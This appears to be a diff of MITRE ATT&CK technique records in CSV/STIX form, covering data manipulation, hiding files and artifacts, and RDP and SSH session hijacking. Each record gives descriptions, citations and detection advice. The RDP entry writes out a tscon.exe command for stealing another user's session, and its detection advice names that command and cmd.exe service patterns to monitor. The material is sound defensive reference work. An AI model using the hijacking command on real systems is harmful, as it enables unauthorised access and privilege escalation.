'mitre-attack', 'phase_name': 'impact'}]","[{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/techniques/T1565/003', 'external_id': 'T1565.003'}, {'source_name': 'FireEye APT38 Oct 2018', 'description': 'FireEye. (2018, October 03). APT38: Un-usual Suspects. Retrieved November 6, 2018.', 'url': 'https://content.fireeye.com/apt/rpt-apt38'}, {'source_name': 'DOJ Lazarus Sony 2018', 'description': 'Department of Justice. (2018, September 6). Criminal Complaint - United States of America v. PARK JIN HYOK. Retrieved March 29, 2019.', 'url': 'https://www.justice.gov/opa/press-release/file/1092091/download'}]",['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],,"['Process: OS API Execution', 'File: File Creation', 'File: File Deletion', 'File: File Modification', 'File: File Metadata']",,"Inspect important application binary file hashes, locations, and modifications for suspicious/unexpected values.",True,"['User', 'Administrator', 'root', 'SYSTEM']","['Linux', 'macOS', 'Windows']",1.0,,,,,['Integrity'],, +attack-pattern,attack-pattern--d0613359-5781-4fd2-b5be-c269270be1f6,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,2020-03-02T14:27:00.693Z,2020-03-02T15:20:28.455Z,Transmitted Data Manipulation,"Adversaries may alter data en route to storage or other systems in order to manipulate external outcomes or hide activity.(Citation: FireEye APT38 Oct 2018)(Citation: DOJ Lazarus Sony 2018) By manipulating transmitted data, adversaries may attempt to affect a business process, organizational understanding, and decision making. -Manipulation may be possible over a network connection or between system processes where there is an opportunity deploy a tool that will intercept and change information. The type of modification and the impact it will have depends on the target transmission mechanism as well as the goals and objectives of the adversary. For complex systems, an adversary would likely need special expertise and possibly access to specialized software related to the system that would typically be gained through a prolonged information gathering campaign in order to have the desired impact.","[ExternalReference(source_name='mitre-attack', url='https://attack.mitre.org/techniques/T1565/002', external_id='T1565.002'), ExternalReference(source_name='FireEye APT38 Oct 2018', description='FireEye. (2018, October 03). APT38: Un-usual Suspects. Retrieved November 6, 2018.', url='https://content.fireeye.com/apt/rpt-apt38'), ExternalReference(source_name='DOJ Lazarus Sony 2018', description='Department of Justice. (2018, September 6). Criminal Complaint - United States of America v. PARK JIN HYOK. Retrieved March 29, 2019.', url='https://www.justice.gov/opa/press-release/file/1092091/download')]",attack-pattern--d0613359-5781-4fd2-b5be-c269270be1f6,"[KillChainPhase(kill_chain_name='mitre-attack', phase_name='impact')]",2020-03-02 15:20:28.455000+00:00,Transmitted Data Manipulation,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],False,attack-pattern,,"['Process: OS API Execution', 'Network Traffic: Network Traffic Content', 'Network Traffic: Network Traffic Flow']",,,,,"Detecting the manipulation of data as at passes over a network can be difficult without the appropriate tools. In some cases integrity verification checks, such as file hashing, may be used on critical files as they transit a network. With some critical processes involving transmission of data, manual or out-of-band integrity checking may be useful for identifying manipulated data. ",,,,['Integrity'],True,,,"['User', 'Administrator', 'SYSTEM', 'root']","['Linux', 'macOS', 'Windows']",,,,1.0 -2020-03-02 14:22:24.410000+00:00,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,"Adversaries may insert, delete, or manipulate data at rest in order to manipulate external outcomes or hide activity.(Citation: FireEye APT38 Oct 2018)(Citation: DOJ Lazarus Sony 2018) By manipulating stored data, adversaries may attempt to affect a business process, organizational understanding, and decision making. +Manipulation may be possible over a network connection or between system processes where there is an opportunity deploy a tool that will intercept and change information. The type of modification and the impact it will have depends on the target transmission mechanism as well as the goals and objectives of the adversary. For complex systems, an adversary would likely need special expertise and possibly access to specialized software related to the system that would typically be gained through a prolonged information gathering campaign in order to have the desired impact.","[{'kill_chain_name': 'mitre-attack', 'phase_name': 'impact'}]","[{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/techniques/T1565/002', 'external_id': 'T1565.002'}, {'source_name': 'FireEye APT38 Oct 2018', 'description': 'FireEye. (2018, October 03). APT38: Un-usual Suspects. Retrieved November 6, 2018.', 'url': 'https://content.fireeye.com/apt/rpt-apt38'}, {'source_name': 'DOJ Lazarus Sony 2018', 'description': 'Department of Justice. (2018, September 6). Criminal Complaint - United States of America v. PARK JIN HYOK. Retrieved March 29, 2019.', 'url': 'https://www.justice.gov/opa/press-release/file/1092091/download'}]",['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],,"['Process: OS API Execution', 'Network Traffic: Network Traffic Content', 'Network Traffic: Network Traffic Flow']",,"Detecting the manipulation of data as at passes over a network can be difficult without the appropriate tools. In some cases integrity verification checks, such as file hashing, may be used on critical files as they transit a network. With some critical processes involving transmission of data, manual or out-of-band integrity checking may be useful for identifying manipulated data. ",True,"['User', 'Administrator', 'SYSTEM', 'root']","['Linux', 'macOS', 'Windows']",1.0,,,,,['Integrity'],, +attack-pattern,attack-pattern--1cfcb312-b8d7-47a4-b560-4b16cc677292,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,2020-03-02T14:22:24.410Z,2020-03-02T15:17:40.505Z,Stored Data Manipulation,"Adversaries may insert, delete, or manipulate data at rest in order to manipulate external outcomes or hide activity.(Citation: FireEye APT38 Oct 2018)(Citation: DOJ Lazarus Sony 2018) By manipulating stored data, adversaries may attempt to affect a business process, organizational understanding, and decision making. -Stored data could include a variety of file formats, such as Office files, databases, stored emails, and custom file formats. The type of modification and the impact it will have depends on the type of data as well as the goals and objectives of the adversary. For complex systems, an adversary would likely need special expertise and possibly access to specialized software related to the system that would typically be gained through a prolonged information gathering campaign in order to have the desired impact.","[ExternalReference(source_name='mitre-attack', url='https://attack.mitre.org/techniques/T1565/001', external_id='T1565.001'), ExternalReference(source_name='FireEye APT38 Oct 2018', description='FireEye. (2018, October 03). APT38: Un-usual Suspects. Retrieved November 6, 2018.', url='https://content.fireeye.com/apt/rpt-apt38'), ExternalReference(source_name='DOJ Lazarus Sony 2018', description='Department of Justice. (2018, September 6). Criminal Complaint - United States of America v. PARK JIN HYOK. Retrieved March 29, 2019.', url='https://www.justice.gov/opa/press-release/file/1092091/download')]",attack-pattern--1cfcb312-b8d7-47a4-b560-4b16cc677292,"[KillChainPhase(kill_chain_name='mitre-attack', phase_name='impact')]",2020-03-02 15:17:40.505000+00:00,Stored Data Manipulation,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],False,attack-pattern,,"['File: File Creation', 'File: File Deletion', 'File: File Modification']",,,,,"Where applicable, inspect important file hashes, locations, and modifications for suspicious/unexpected values.",,,,['Integrity'],True,,,"['User', 'Administrator', 'root', 'SYSTEM']","['Linux', 'macOS', 'Windows']",,,,1.0 -2020-03-02 14:19:22.609000+00:00,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,"Adversaries may insert, delete, or manipulate data in order to manipulate external outcomes or hide activity. By manipulating data, adversaries may attempt to affect a business process, organizational understanding, or decision making. +Stored data could include a variety of file formats, such as Office files, databases, stored emails, and custom file formats. The type of modification and the impact it will have depends on the type of data as well as the goals and objectives of the adversary. For complex systems, an adversary would likely need special expertise and possibly access to specialized software related to the system that would typically be gained through a prolonged information gathering campaign in order to have the desired impact.","[{'kill_chain_name': 'mitre-attack', 'phase_name': 'impact'}]","[{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/techniques/T1565/001', 'external_id': 'T1565.001'}, {'source_name': 'FireEye APT38 Oct 2018', 'description': 'FireEye. (2018, October 03). APT38: Un-usual Suspects. Retrieved November 6, 2018.', 'url': 'https://content.fireeye.com/apt/rpt-apt38'}, {'source_name': 'DOJ Lazarus Sony 2018', 'description': 'Department of Justice. (2018, September 6). Criminal Complaint - United States of America v. PARK JIN HYOK. Retrieved March 29, 2019.', 'url': 'https://www.justice.gov/opa/press-release/file/1092091/download'}]",['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],,"['File: File Creation', 'File: File Deletion', 'File: File Modification']",,"Where applicable, inspect important file hashes, locations, and modifications for suspicious/unexpected values.",True,"['User', 'Administrator', 'root', 'SYSTEM']","['Linux', 'macOS', 'Windows']",1.0,,,,,['Integrity'],, +attack-pattern,attack-pattern--ac9e6b22-11bf-45d7-9181-c1cb08360931,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,2020-03-02T14:19:22.609Z,2021-04-24T14:04:16.371Z,Data Manipulation,"Adversaries may insert, delete, or manipulate data in order to manipulate external outcomes or hide activity. By manipulating data, adversaries may attempt to affect a business process, organizational understanding, or decision making. -The type of modification and the impact it will have depends on the target application and process as well as the goals and objectives of the adversary. For complex systems, an adversary would likely need special expertise and possibly access to specialized software related to the system that would typically be gained through a prolonged information gathering campaign in order to have the desired impact.","[ExternalReference(source_name='mitre-attack', url='https://attack.mitre.org/techniques/T1565', external_id='T1565')]",attack-pattern--ac9e6b22-11bf-45d7-9181-c1cb08360931,"[KillChainPhase(kill_chain_name='mitre-attack', phase_name='impact')]",2021-04-24 14:04:16.371000+00:00,Data Manipulation,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],False,attack-pattern,,"['File: File Metadata', 'Process: OS API Execution', 'File: File Creation', 'File: File Deletion', 'File: File Modification', 'Network Traffic: Network Traffic Content', 'Network Traffic: Network Traffic Flow']",,,,,"Where applicable, inspect important file hashes, locations, and modifications for suspicious/unexpected values. With some critical processes involving transmission of data, manual or out-of-band integrity checking may be useful for identifying manipulated data.",,,,['Integrity'],False,,,"['User', 'Administrator', 'root', 'SYSTEM']","['Linux', 'macOS', 'Windows']",,,,1.0 -2020-02-26 17:46:13.128000+00:00,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,"Adversaries may set files and directories to be hidden to evade detection mechanisms. To prevent normal users from accidentally changing special files on a system, most operating systems have the concept of a ‘hidden’ file. These files don’t show up when a user browses the file system with a GUI or when using normal commands on the command line. Users must explicitly ask to show the hidden files either via a series of Graphical User Interface (GUI) prompts or with command line switches (dir /a for Windows and ls –a for Linux and macOS). +The type of modification and the impact it will have depends on the target application and process as well as the goals and objectives of the adversary. For complex systems, an adversary would likely need special expertise and possibly access to specialized software related to the system that would typically be gained through a prolonged information gathering campaign in order to have the desired impact.","[{'kill_chain_name': 'mitre-attack', 'phase_name': 'impact'}]","[{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/techniques/T1565', 'external_id': 'T1565'}]",['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],,"['File: File Metadata', 'Process: OS API Execution', 'File: File Creation', 'File: File Deletion', 'File: File Modification', 'Network Traffic: Network Traffic Content', 'Network Traffic: Network Traffic Flow']",,"Where applicable, inspect important file hashes, locations, and modifications for suspicious/unexpected values. With some critical processes involving transmission of data, manual or out-of-band integrity checking may be useful for identifying manipulated data.",False,"['User', 'Administrator', 'root', 'SYSTEM']","['Linux', 'macOS', 'Windows']",1.0,,,,,['Integrity'],, +attack-pattern,attack-pattern--ec8fc7e2-b356-455c-8db5-2e37be158e7d,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,2020-02-26T17:46:13.128Z,2020-03-29T22:32:25.985Z,Hidden Files and Directories,"Adversaries may set files and directories to be hidden to evade detection mechanisms. To prevent normal users from accidentally changing special files on a system, most operating systems have the concept of a ‘hidden’ file. These files don’t show up when a user browses the file system with a GUI or when using normal commands on the command line. Users must explicitly ask to show the hidden files either via a series of Graphical User Interface (GUI) prompts or with command line switches (dir /a for Windows and ls –a for Linux and macOS). On Linux and Mac, users can mark specific files as hidden simply by putting a “.” as the first character in the file or folder name (Citation: Sofacy Komplex Trojan) (Citation: Antiquated Mac Malware). Files and folders that start with a period, ‘.’, are by default hidden from being viewed in the Finder application and standard command-line utilities like “ls”. Users must specifically change settings to have these files viewable. Files on macOS can also be marked with the UF_HIDDEN flag which prevents them from being seen in Finder.app, but still allows them to be seen in Terminal.app (Citation: WireLurker). On Windows, users can mark specific files as hidden by using the attrib.exe binary. Many applications create these hidden files and folders to store information so that it doesn’t clutter up the user’s workspace. For example, SSH utilities create a .ssh folder that’s hidden and contains the user’s known hosts and keys. -Adversaries can use this to their advantage to hide files and folders anywhere on the system and evading a typical user or system analysis that does not incorporate investigation of hidden files.","[ExternalReference(source_name='mitre-attack', url='https://attack.mitre.org/techniques/T1564/001', external_id='T1564.001'), ExternalReference(source_name='Sofacy Komplex Trojan', description=""Dani Creus, Tyler Halfpop, Robert Falcone. (2016, September 26). Sofacy's 'Komplex' OS X Trojan. Retrieved July 8, 2017."", url='https://researchcenter.paloaltonetworks.com/2016/09/unit42-sofacys-komplex-os-x-trojan/'), ExternalReference(source_name='Antiquated Mac Malware', description='Thomas Reed. (2017, January 18). New Mac backdoor using antiquated code. Retrieved July 5, 2017.', url='https://blog.malwarebytes.com/threat-analysis/2017/01/new-mac-backdoor-using-antiquated-code/'), ExternalReference(source_name='WireLurker', description='Claud Xiao. (n.d.). WireLurker: A New Era in iOS and OS X Malware. Retrieved July 10, 2017.', url='https://www.paloaltonetworks.com/content/dam/pan/en_US/assets/pdf/reports/Unit_42/unit42-wirelurker.pdf')]",attack-pattern--ec8fc7e2-b356-455c-8db5-2e37be158e7d,"[KillChainPhase(kill_chain_name='mitre-attack', phase_name='defense-evasion')]",2020-03-29 22:32:25.985000+00:00,Hidden Files and Directories,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],False,attack-pattern,,"['File: File Creation', 'Process: Process Creation', 'Command: Command Execution', 'File: File Metadata']",['Host forensic analysis'],,,,"Monitor the file system and shell commands for files being created with a leading ""."" and the Windows command-line use of attrib.exe to add the hidden attribute.",,,,,True,,,['User'],"['Windows', 'macOS', 'Linux']",,,,1.0 -2020-02-26 17:41:25.933000+00:00,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,"Adversaries may attempt to hide artifacts associated with their behaviors to evade detection. Operating systems may have features to hide various artifacts, such as important system files and administrative task execution, to avoid disrupting user work environments and prevent users from changing files or features on the system. Adversaries may abuse these features to hide artifacts such as files, directories, user accounts, or other system activity to evade detection.(Citation: Sofacy Komplex Trojan)(Citation: Cybereason OSX Pirrit)(Citation: MalwareBytes ADS July 2015) +Adversaries can use this to their advantage to hide files and folders anywhere on the system and evading a typical user or system analysis that does not incorporate investigation of hidden files.","[{'kill_chain_name': 'mitre-attack', 'phase_name': 'defense-evasion'}]","[{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/techniques/T1564/001', 'external_id': 'T1564.001'}, {'source_name': 'Sofacy Komplex Trojan', 'description': ""Dani Creus, Tyler Halfpop, Robert Falcone. (2016, September 26). Sofacy's 'Komplex' OS X Trojan. Retrieved July 8, 2017."", 'url': 'https://researchcenter.paloaltonetworks.com/2016/09/unit42-sofacys-komplex-os-x-trojan/'}, {'source_name': 'Antiquated Mac Malware', 'description': 'Thomas Reed. (2017, January 18). New Mac backdoor using antiquated code. Retrieved July 5, 2017.', 'url': 'https://blog.malwarebytes.com/threat-analysis/2017/01/new-mac-backdoor-using-antiquated-code/'}, {'source_name': 'WireLurker', 'description': 'Claud Xiao. (n.d.). WireLurker: A New Era in iOS and OS X Malware. Retrieved July 10, 2017.', 'url': 'https://www.paloaltonetworks.com/content/dam/pan/en_US/assets/pdf/reports/Unit_42/unit42-wirelurker.pdf'}]",['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],,"['File: File Creation', 'Process: Process Creation', 'Command: Command Execution', 'File: File Metadata']",['Host forensic analysis'],"Monitor the file system and shell commands for files being created with a leading ""."" and the Windows command-line use of attrib.exe to add the hidden attribute.",True,['User'],"['Windows', 'macOS', 'Linux']",1.0,,,,,,, +attack-pattern,attack-pattern--22905430-4901-4c2a-84f6-98243cb173f8,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,2020-02-26T17:41:25.933Z,2021-10-20T19:01:56.752Z,Hide Artifacts,"Adversaries may attempt to hide artifacts associated with their behaviors to evade detection. Operating systems may have features to hide various artifacts, such as important system files and administrative task execution, to avoid disrupting user work environments and prevent users from changing files or features on the system. Adversaries may abuse these features to hide artifacts such as files, directories, user accounts, or other system activity to evade detection.(Citation: Sofacy Komplex Trojan)(Citation: Cybereason OSX Pirrit)(Citation: MalwareBytes ADS July 2015) -Adversaries may also attempt to hide artifacts associated with malicious behavior by creating computing regions that are isolated from common security instrumentation, such as through the use of virtualization technology.(Citation: Sophos Ragnar May 2020)","[ExternalReference(source_name='mitre-attack', url='https://attack.mitre.org/techniques/T1564', external_id='T1564'), ExternalReference(source_name='Sofacy Komplex Trojan', description=""Dani Creus, Tyler Halfpop, Robert Falcone. (2016, September 26). Sofacy's 'Komplex' OS X Trojan. Retrieved July 8, 2017."", url='https://researchcenter.paloaltonetworks.com/2016/09/unit42-sofacys-komplex-os-x-trojan/'), ExternalReference(source_name='Cybereason OSX Pirrit', description='Amit Serper. (2016). Cybereason Lab Analysis OSX.Pirrit. Retrieved July 31, 2020.', url='http://go.cybereason.com/rs/996-YZT-709/images/Cybereason-Lab-Analysis-OSX-Pirrit-4-6-16.pdf'), ExternalReference(source_name='MalwareBytes ADS July 2015', description='Arntz, P. (2015, July 22). Introduction to Alternate Data Streams. Retrieved March 21, 2018.', url='https://blog.malwarebytes.com/101/2015/07/introduction-to-alternate-data-streams/'), ExternalReference(source_name='Sophos Ragnar May 2020', description='SophosLabs. (2020, May 21). Ragnar Locker ransomware deploys virtual machine to dodge security. Retrieved June 29, 2020.', url='https://news.sophos.com/en-us/2020/05/21/ragnar-locker-ransomware-deploys-virtual-machine-to-dodge-security/')]",attack-pattern--22905430-4901-4c2a-84f6-98243cb173f8,"[KillChainPhase(kill_chain_name='mitre-attack', phase_name='defense-evasion')]",2020-09-23 11:31:50.636000+00:00,Hide Artifacts,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],False,attack-pattern,,"['File: File Creation', 'Process: Process Creation', 'Command: Command Execution', 'File: File Metadata', 'User Account: User Account Creation', 'User Account: User Account Metadata', 'File: File Modification', 'Script: Script Execution', 'Process: OS API Execution', 'Windows Registry: Windows Registry Key Modification', 'Firmware: Firmware Modification', 'Process: Process Creation', 'File: File Creation', 'Service: Service Creation', 'File: File Content']",,,,,"Monitor files, processes, and command-line arguments for actions indicative of hidden artifacts. Monitor event and authentication logs for records of hidden artifacts being used. Monitor the file system and shell commands for hidden attribute usage.",,,,,False,,,,"['Linux', 'macOS', 'Windows']",,,,1.0 -2020-02-25 18:35:42.765000+00:00,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,"Adversaries may hijack a legitimate user’s remote desktop session to move laterally within an environment. Remote desktop is a common feature in operating systems. It allows a user to log into an interactive session with a system desktop graphical user interface on a remote system. Microsoft refers to its implementation of the Remote Desktop Protocol (RDP) as Remote Desktop Services (RDS).(Citation: TechNet Remote Desktop Services) +Adversaries may also attempt to hide artifacts associated with malicious behavior by creating computing regions that are isolated from common security instrumentation, such as through the use of virtualization technology.(Citation: Sophos Ragnar May 2020)","[{'kill_chain_name': 'mitre-attack', 'phase_name': 'defense-evasion'}]","[{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/techniques/T1564', 'external_id': 'T1564'}, {'source_name': 'Sofacy Komplex Trojan', 'description': ""Dani Creus, Tyler Halfpop, Robert Falcone. (2016, September 26). Sofacy's 'Komplex' OS X Trojan. Retrieved July 8, 2017."", 'url': 'https://researchcenter.paloaltonetworks.com/2016/09/unit42-sofacys-komplex-os-x-trojan/'}, {'source_name': 'Cybereason OSX Pirrit', 'description': 'Amit Serper. (2016). Cybereason Lab Analysis OSX.Pirrit. Retrieved July 31, 2020.', 'url': 'http://go.cybereason.com/rs/996-YZT-709/images/Cybereason-Lab-Analysis-OSX-Pirrit-4-6-16.pdf'}, {'source_name': 'MalwareBytes ADS July 2015', 'description': 'Arntz, P. (2015, July 22). Introduction to Alternate Data Streams. Retrieved March 21, 2018.', 'url': 'https://blog.malwarebytes.com/101/2015/07/introduction-to-alternate-data-streams/'}, {'source_name': 'Sophos Ragnar May 2020', 'description': 'SophosLabs. (2020, May 21). Ragnar Locker ransomware deploys virtual machine to dodge security. Retrieved June 29, 2020.', 'url': 'https://news.sophos.com/en-us/2020/05/21/ragnar-locker-ransomware-deploys-virtual-machine-to-dodge-security/'}]",['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],,"['Process: Process Creation', 'File: File Creation', 'Application Log: Application Log Content', 'Command: Command Execution', 'File: File Metadata', 'User Account: User Account Creation', 'User Account: User Account Metadata', 'File: File Modification', 'Script: Script Execution', 'Process: OS API Execution', 'Windows Registry: Windows Registry Key Modification', 'Firmware: Firmware Modification', 'Service: Service Creation']",,"Monitor files, processes, and command-line arguments for actions indicative of hidden artifacts. Monitor event and authentication logs for records of hidden artifacts being used. Monitor the file system and shell commands for hidden attribute usage.",False,,"['Linux', 'macOS', 'Windows', 'Office 365']",1.1,,,,,,, +attack-pattern,attack-pattern--e0033c16-a07e-48aa-8204-7c3ca669998c,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,2020-02-25T18:35:42.765Z,2020-03-23T23:24:39.182Z,RDP Hijacking,"Adversaries may hijack a legitimate user’s remote desktop session to move laterally within an environment. Remote desktop is a common feature in operating systems. It allows a user to log into an interactive session with a system desktop graphical user interface on a remote system. Microsoft refers to its implementation of the Remote Desktop Protocol (RDP) as Remote Desktop Services (RDS).(Citation: TechNet Remote Desktop Services) -Adversaries may perform RDP session hijacking which involves stealing a legitimate user's remote session. Typically, a user is notified when someone else is trying to steal their session. With System permissions and using Terminal Services Console, `c:\windows\system32\tscon.exe [session number to be stolen]`, an adversary can hijack a session without the need for credentials or prompts to the user.(Citation: RDP Hijacking Korznikov) This can be done remotely or locally and with active or disconnected sessions.(Citation: RDP Hijacking Medium) It can also lead to [Remote System Discovery](https://attack.mitre.org/techniques/T1018) and Privilege Escalation by stealing a Domain Admin or higher privileged account session. All of this can be done by using native Windows commands, but it has also been added as a feature in red teaming tools.(Citation: Kali Redsnarf)","[ExternalReference(source_name='mitre-attack', url='https://attack.mitre.org/techniques/T1563/002', external_id='T1563.002'), ExternalReference(source_name='TechNet Remote Desktop Services', description='Microsoft. (n.d.). Remote Desktop Services. Retrieved June 1, 2016.', url='https://technet.microsoft.com/en-us/windowsserver/ee236407.aspx'), ExternalReference(source_name='RDP Hijacking Korznikov', description='Korznikov, A. (2017, March 17). Passwordless RDP Session Hijacking Feature All Windows versions. Retrieved December 11, 2017.', url='http://www.korznikov.com/2017/03/0-day-or-feature-privilege-escalation.html'), ExternalReference(source_name='RDP Hijacking Medium', description='Beaumont, K. (2017, March 19). RDP hijacking\u200a—\u200ahow to hijack RDS and RemoteApp sessions transparently to move through an organisation. Retrieved December 11, 2017.', url='https://medium.com/@networksecurity/rdp-hijacking-how-to-hijack-rds-and-remoteapp-sessions-transparently-to-move-through-an-da2a1e73a5f6'), ExternalReference(source_name='Kali Redsnarf', description='NCC Group PLC. (2016, November 1). Kali Redsnarf. Retrieved December 11, 2017.', url='https://github.com/nccgroup/redsnarf')]",attack-pattern--e0033c16-a07e-48aa-8204-7c3ca669998c,"[KillChainPhase(kill_chain_name='mitre-attack', phase_name='lateral-movement')]",2020-03-23 23:24:39.182000+00:00,RDP Hijacking,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],False,attack-pattern,,"['Network Traffic: Network Traffic Flow', 'Network Traffic: Network Traffic Content', 'Logon Session: Logon Session Creation', 'Command: Command Execution', 'Process: Process Creation']",,,,,"Consider monitoring processes for `tscon.exe` usage and monitor service creation that uses `cmd.exe /k` or `cmd.exe /c` in its arguments to detect RDP session hijacking. +Adversaries may perform RDP session hijacking which involves stealing a legitimate user's remote session. Typically, a user is notified when someone else is trying to steal their session. With System permissions and using Terminal Services Console, `c:\windows\system32\tscon.exe [session number to be stolen]`, an adversary can hijack a session without the need for credentials or prompts to the user.(Citation: RDP Hijacking Korznikov) This can be done remotely or locally and with active or disconnected sessions.(Citation: RDP Hijacking Medium) It can also lead to [Remote System Discovery](https://attack.mitre.org/techniques/T1018) and Privilege Escalation by stealing a Domain Admin or higher privileged account session. All of this can be done by using native Windows commands, but it has also been added as a feature in red teaming tools.(Citation: Kali Redsnarf)","[{'kill_chain_name': 'mitre-attack', 'phase_name': 'lateral-movement'}]","[{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/techniques/T1563/002', 'external_id': 'T1563.002'}, {'source_name': 'TechNet Remote Desktop Services', 'description': 'Microsoft. (n.d.). Remote Desktop Services. Retrieved June 1, 2016.', 'url': 'https://technet.microsoft.com/en-us/windowsserver/ee236407.aspx'}, {'source_name': 'RDP Hijacking Korznikov', 'description': 'Korznikov, A. (2017, March 17). Passwordless RDP Session Hijacking Feature All Windows versions. Retrieved December 11, 2017.', 'url': 'http://www.korznikov.com/2017/03/0-day-or-feature-privilege-escalation.html'}, {'source_name': 'RDP Hijacking Medium', 'description': 'Beaumont, K. (2017, March 19). RDP hijacking\u200a—\u200ahow to hijack RDS and RemoteApp sessions transparently to move through an organisation. Retrieved December 11, 2017.', 'url': 'https://medium.com/@networksecurity/rdp-hijacking-how-to-hijack-rds-and-remoteapp-sessions-transparently-to-move-through-an-da2a1e73a5f6'}, {'source_name': 'Kali Redsnarf', 'description': 'NCC Group PLC. (2016, November 1). Kali Redsnarf. Retrieved December 11, 2017.', 'url': 'https://github.com/nccgroup/redsnarf'}]",['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],,"['Network Traffic: Network Traffic Flow', 'Network Traffic: Network Traffic Content', 'Logon Session: Logon Session Creation', 'Command: Command Execution', 'Process: Process Creation']",,"Consider monitoring processes for `tscon.exe` usage and monitor service creation that uses `cmd.exe /k` or `cmd.exe /c` in its arguments to detect RDP session hijacking. -Use of RDP may be legitimate, depending on the network environment and how it is used. Other factors, such as access patterns and activity that occurs after a remote login, may indicate suspicious or malicious behavior with RDP.",,,,,True,,,['SYSTEM'],['Windows'],,,,1.0 -2020-02-25 18:34:38.290000+00:00,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,"Adversaries may hijack a legitimate user's SSH session to move laterally within an environment. Secure Shell (SSH) is a standard means of remote access on Linux and macOS systems. It allows a user to connect to another system via an encrypted tunnel, commonly authenticating through a password, certificate or the use of an asymmetric encryption key pair. +Use of RDP may be legitimate, depending on the network environment and how it is used. Other factors, such as access patterns and activity that occurs after a remote login, may indicate suspicious or malicious behavior with RDP.",True,['SYSTEM'],['Windows'],1.0,,,,,,, +attack-pattern,attack-pattern--4d2a5b3e-340d-4600-9123-309dd63c9bf8,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,2020-02-25T18:34:38.290Z,2020-03-23T23:11:24.682Z,SSH Hijacking,"Adversaries may hijack a legitimate user's SSH session to move laterally within an environment. Secure Shell (SSH) is a standard means of remote access on Linux and macOS systems. It allows a user to connect to another system via an encrypted tunnel, commonly authenticating through a password, certificate or the use of an asymmetric encryption key pair. In order to move laterally from a compromised host, adversaries may take advantage of trust relationships established with other systems via public key authentication in active SSH sessions by hijacking an existing connection to another system. This may occur through compromising the SSH agent itself or by having access to the agent's socket. If an adversary is able to obtain root access, then hijacking SSH sessions is likely trivial.(Citation: Slideshare Abusing SSH)(Citation: SSHjack Blackhat)(Citation: Clockwork SSH Agent Hijacking)(Citation: Breach Post-mortem SSH Hijack) -[SSH Hijacking](https://attack.mitre.org/techniques/T1563/001) differs from use of [SSH](https://attack.mitre.org/techniques/T1021/004) because it hijacks an existing SSH session rather than creating a new session using [Valid Accounts](https://attack.mitre.org/techniques/T1078).","[ExternalReference(source_name='mitre-attack', url='https://attack.mitre.org/techniques/T1563/001', external_id='T1563.001'), ExternalReference(source_name='Slideshare Abusing SSH', description='Duarte, H., Morrison, B. (2012). (Mis)trusting and (ab)using ssh. Retrieved January 8, 2018.', url='https://www.slideshare.net/morisson/mistrusting-and-abusing-ssh-13526219'), ExternalReference(source_name='SSHjack Blackhat', description='Adam Boileau. (2005, August 5). Trust Transience: Post Intrusion SSH Hijacking. Retrieved December 19, 2017.', url='https://www.blackhat.com/presentations/bh-usa-05/bh-us-05-boileau.pdf'), ExternalReference(source_name='Clockwork SSH Agent Hijacking', description='Beuchler, B. (2012, September 28). SSH Agent Hijacking. Retrieved December 20, 2017.', url='https://www.clockwork.com/news/2012/09/28/602/ssh_agent_hijacking'), ExternalReference(source_name='Breach Post-mortem SSH Hijack', description='Hodgson, M. (2019, May 8). Post-mortem and remediations for Apr 11 security incident. Retrieved February 17, 2020.', url='https://matrix.org/blog/2019/05/08/post-mortem-and-remediations-for-apr-11-security-incident')]",attack-pattern--4d2a5b3e-340d-4600-9123-309dd63c9bf8,"[KillChainPhase(kill_chain_name='mitre-attack', phase_name='lateral-movement')]",2020-03-23 23:11:24.682000+00:00,SSH Hijacking,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],False,attack-pattern,['Anastasios Pingios'],"['Network Traffic: Network Traffic Flow', 'Network Traffic: Network Traffic Content', 'Logon Session: Logon Session Creation', 'Command: Command Execution', 'Process: Process Creation']",,,,,"Use of SSH may be legitimate, depending upon the network environment and how it is used. Other factors, such as access patterns and activity that occurs after a remote login, may indicate suspicious or malicious behavior with SSH. Monitor for user accounts logged into systems they would not normally access or access patterns to multiple systems over a relatively short period of time. Also monitor user SSH-agent socket files being used by different users.",,,,,True,,,['root'],"['Linux', 'macOS']",,"['SSH service enabled, trust relationships configured, established connections']",,1.0 -2020-02-25 18:26:16.994000+00:00,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,"Adversaries may take control of preexisting sessions with remote services to move laterally in an environment. Users may use valid credentials to log into a service specifically designed to accept remote connections, such as telnet, SSH, and RDP. When a user logs into a service, a session will be established that will allow them to maintain a continuous interaction with that service. +[SSH Hijacking](https://attack.mitre.org/techniques/T1563/001) differs from use of [SSH](https://attack.mitre.org/techniques/T1021/004) because it hijacks an existing SSH 